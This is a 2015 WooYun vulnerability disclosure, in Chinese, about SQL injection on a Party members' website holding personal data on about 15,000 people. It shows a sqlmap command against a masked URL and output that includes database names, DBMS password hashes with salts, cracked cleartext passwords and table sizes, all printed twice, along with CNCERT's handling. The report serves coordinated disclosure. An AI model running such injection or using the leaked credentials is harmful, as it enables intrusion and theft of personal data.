漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0159026
漏洞标题：某党员之家一万五千多党员信息泄露
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2015-12-08 23:22
修复时间：2016-01-23 15:16
公开时间：2016-01-23 15:16
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-08： 细节已通知厂商并且等待厂商处理中
2015-12-11： 厂商已经确认，细节仅向厂商公开
2015-12-21： 细节向核心白帽子及相关领域专家公开
2015-12-31： 细节向普通白帽子公开
2016-01-10： 细节向实习白帽子公开
2016-01-23： 细节向公众公开
简要描述：
RT
详细说明：
注入点： http://**.**.**.**/search.aspx?key=
sqlmap.py -u "http://**.**.**.**/search.aspx?key="
available databases [15]:
[*] aspstate
[*] hrbrc
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] Smart_DangYuanZhiJia
[*] Smart_Employment
[*] Smart_Rcgzz
[*] Smart_Rcxh
[*] Smart_Talent
[*] tempdb
[*] test
[*] zp
database management system users password hashes:
[*] sa [1]:
password hash: 0x01004086ceb64dd8b9dde4734d1a1e2cdfb75813bfeac3083996
header: 0x0100
salt: 4086ceb6
mixedcase: 4dd8b9dde4734d1a1e2cdfb75813bfeac3083996
[*] smart1688 [1]:
password hash: 0x010037010a9ebb65287f175a195415e818b17c178f926cf06a12
header: 0x0100
salt: 37010a9e
mixedcase: bb65287f175a195415e818b17c178f926cf06a12
clear-text password: deepblue
[*] Smart_DangYuanZhiJia [1]:
password hash: 0x0100ea1fe874726169999c74ca648d5e31e855cc0d69a07e6952
header: 0x0100
salt: ea1fe874
mixedcase: 726169999c74ca648d5e31e855cc0d69a07e6952
clear-text password: Smart_DangYuanZhiJia
Database: Smart_DangYuanZhiJia
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| dbo.T_User_Jf | 15857 |
| dbo.DL_POLI_INFO | 11229 |
| dbo.T_Sys_Log | 2373 |
| dbo.T_Questionnaire | 2267 |
| dbo.ExamClassStudent | 1357 |
| dbo.T_User_Info | 1357 |
| dbo.NoneStudentExam | 1305 |
| dbo.T_Party_Info | 512 |
| dbo.题库生成表 | 500 |
| dbo.T_Message | 452 |
| dbo.T_Info | 363 |
| dbo.选择题表1 | 250 |
| dbo.选择题表1 | 250 |
| dbo.T_User_Branch | 154 |
| dbo.T_User_Branch | 154 |
| dbo.T_Pay_Log | 86 |
| dbo.考试状态表 | 52 |
| dbo.T_Sys_Part | 37 |
| dbo.AlreadyExam | 34 |
| dbo.T_Knxs | 29 |
| dbo.考生答案记录表 | 27 |
| dbo.OnExam | 18 |
| dbo.T_Link | 11 |
| dbo.T_Sys_MenuGroup | 10 |
| dbo.T_Sys_MenuGroup | 10 |
| dbo.考试配制表 | 5 |
| dbo.T_Sys_AdminGroup | 3 |
| dbo.T_Sys_AdminGroup | 3 |
| dbo.T_User_PartyTeam | 3 |
| dbo.分数设定表 | 3 |
| dbo.题型表 | 2 |
| dbo.判断题表 | 1 |
| dbo.考试系统开关表 | 1 |
+----------------------+---------+
漏洞证明：
sqlmap.py -u "http://**.**.**.**/search.aspx?key="
available databases [15]:
[*] aspstate
[*] hrbrc
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] Smart_DangYuanZhiJia
[*] Smart_Employment
[*] Smart_Rcgzz
[*] Smart_Rcxh
[*] Smart_Talent
[*] tempdb
[*] test
[*] zp
database management system users password hashes:
[*] sa [1]:
password hash: 0x01004086ceb64dd8b9dde4734d1a1e2cdfb75813bfeac3083996
header: 0x0100
salt: 4086ceb6
mixedcase: 4dd8b9dde4734d1a1e2cdfb75813bfeac3083996
[*] smart1688 [1]:
password hash: 0x010037010a9ebb65287f175a195415e818b17c178f926cf06a12
header: 0x0100
salt: 37010a9e
mixedcase: bb65287f175a195415e818b17c178f926cf06a12
clear-text password: deepblue
[*] Smart_DangYuanZhiJia [1]:
password hash: 0x0100ea1fe874726169999c74ca648d5e31e855cc0d69a07e6952
header: 0x0100
salt: ea1fe874
mixedcase: 726169999c74ca648d5e31e855cc0d69a07e6952
clear-text password: Smart_DangYuanZhiJia
Database: Smart_DangYuanZhiJia
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| dbo.T_User_Jf | 15857 |
| dbo.DL_POLI_INFO | 11229 |
| dbo.T_Sys_Log | 2373 |
| dbo.T_Questionnaire | 2267 |
| dbo.ExamClassStudent | 1357 |
| dbo.T_User_Info | 1357 |
| dbo.NoneStudentExam | 1305 |
| dbo.T_Party_Info | 512 |
| dbo.题库生成表 | 500 |
| dbo.T_Message | 452 |
| dbo.T_Info | 363 |
| dbo.选择题表1 | 250 |
| dbo.选择题表1 | 250 |
| dbo.T_User_Branch | 154 |
| dbo.T_User_Branch | 154 |
| dbo.T_Pay_Log | 86 |
| dbo.考试状态表 | 52 |
| dbo.T_Sys_Part | 37 |
| dbo.AlreadyExam | 34 |
| dbo.T_Knxs | 29 |
| dbo.考生答案记录表 | 27 |
| dbo.OnExam | 18 |
| dbo.T_Link | 11 |
| dbo.T_Sys_MenuGroup | 10 |
| dbo.T_Sys_MenuGroup | 10 |
| dbo.考试配制表 | 5 |
| dbo.T_Sys_AdminGroup | 3 |
| dbo.T_Sys_AdminGroup | 3 |
| dbo.T_User_PartyTeam | 3 |
| dbo.分数设定表 | 3 |
| dbo.题型表 | 2 |
| dbo.判断题表 | 1 |
| dbo.考试系统开关表 | 1 |
+----------------------+---------+
修复方案：
参数过滤。还有更多注入点，不一一查证。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-12-11 15:37
厂商回复：
CNVD确认并复现所述情况,已经转由CNCERT下发给黑龙江分中心,由其后续协调网站管理单位处置.
最新状态：
暂无